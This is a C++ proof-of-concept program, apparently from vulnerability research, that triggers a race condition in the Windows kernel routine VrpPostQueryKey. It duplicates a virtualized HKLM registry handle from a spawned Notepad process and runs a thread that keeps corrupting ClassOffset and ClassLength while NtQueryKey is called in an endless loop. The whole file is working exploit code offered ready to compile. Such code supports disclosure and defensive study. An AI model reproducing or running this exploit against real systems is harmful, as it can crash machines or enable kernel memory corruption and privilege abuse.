#define WIN32_NO_STATUS
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <winternl.h>
#include <ntstatus.h>

#include <cstdio>
#include <cstdlib>

#pragma comment(lib, "ntdll")

#define ObjectNameInformation ((OBJECT_INFORMATION_CLASS)1)
#define KeyNodeInformation 1

extern "C" {

LONG NTAPI RtlCompareUnicodeString(
  PCUNICODE_STRING String1,
  PCUNICODE_STRING String2,
  BOOLEAN CaseInSensitive
);

NTSTATUS NTAPI NtQueryKey(
  HANDLE KeyHandle,
  DWORD KeyInformationClass,
  PVOID KeyInformation,
  ULONG Length,
  PULONG ResultLength
);

}  // extern "C"

typedef struct _KEY_NODE_INFORMATION {
  LARGE_INTEGER LastWriteTime;
  ULONG         TitleIndex;
  ULONG         ClassOffset;
  ULONG         ClassLength;
  ULONG         NameLength;
  WCHAR         Name[1];
} KEY_NODE_INFORMATION, * PKEY_NODE_INFORMATION;

namespace globals {
  
BYTE KeyNodeBuffer[0x200];

}  // namespace globals

DWORD WINAPI ThreadProc(PKEY_NODE_INFORMATION lpParameter) {

  //
  // Indefinitely keep setting KEY_NODE_INFORMATION.ClassOffset to 1,
  // and KEY_NODE_INFORMATION.ClassLength to -1.
  //

  while (1) {
    lpParameter->ClassOffset = 1;
    lpParameter->ClassLength = 0xffffffff;
  }
}

int main() {
  BYTE NameBuffer[0x200];
  NTSTATUS Status;

  //
  // Create the Notepad process and wait for it to fully start.
  //

  STARTUPINFOW si;
  PROCESS_INFORMATION pi;

  memset(&si, 0, sizeof(si));
  memset(&pi, 0, sizeof(pi));
  si.cb = sizeof(si);
  si.dwFlags = STARTF_USESHOWWINDOW;
  si.wShowWindow = SW_MINIMIZE;

  BOOL bRet = CreateProcessW(L"C:\\Windows\\system32\\notepad.exe",
                             NULL,
                             NULL,
                             NULL,
                             FALSE,
                             0,
                             NULL,
                             NULL,
                             &si,
                             &pi);

  if (bRet) {
    CloseHandle(pi.hThread);
  } else {
    printf("CreateProcess failed with error %u\n", GetLastError());
    return 1;
  }

  Sleep(1000);

  //
  // Enumerate the subprocess handles in search of one that points to
  // a virtualized HKLM.
  //

  UNICODE_STRING TargetKeyPath;
  RtlInitUnicodeString(&TargetKeyPath, L"\\Registry\\Machine");

  HKEY hKeyMachine = NULL;
  for (ULONG Handle = 4; Handle < 0x1000; Handle += 4) {
    HANDLE DuplicatedHandle;
    bRet = DuplicateHandle(pi.hProcess,
                           (HANDLE)Handle,
                           GetCurrentProcess(),
                           &DuplicatedHandle,
                           0,
                           FALSE,
                           DUPLICATE_SAME_ACCESS);

    ULONG ReturnLength;
    Status = NtQueryObject(DuplicatedHandle,
                           ObjectNameInformation,
                           NameBuffer,
                           sizeof(NameBuffer),
                           &ReturnLength);

    if (NT_SUCCESS(Status)) {
      PUNICODE_STRING Name = (PUNICODE_STRING)NameBuffer;

      if (!RtlCompareUnicodeString(Name, &TargetKeyPath, TRUE)) {
        hKeyMachine = (HKEY)DuplicatedHandle;
        break;
      }
    }

    CloseHandle(DuplicatedHandle);
  }

  if (hKeyMachine == NULL) {
    printf("Failed to find HKLM\n");
    return 1;
  }

  //
  // Create the data-flipping thread.
  //

  if (!CreateThread(NULL,
                    0,
                    (LPTHREAD_START_ROUTINE)ThreadProc,
                    globals::KeyNodeBuffer,
                    0,
                    NULL)) {
    printf("Creation of a new thread failed with error %u\n", GetLastError());
    return 1;
  }

  //
  // Try to trigger the race condition in VrpPostQueryKey by continuously
  // querying information about the key.
  //

  while (1) {
    ULONG ResultLength;
    Status = NtQueryKey(hKeyMachine,
                        KeyNodeInformation,
                        globals::KeyNodeBuffer,
                        sizeof(globals::KeyNodeBuffer),
                        &ResultLength);
  }

  RegCloseKey(hKeyMachine);

  return 0;
}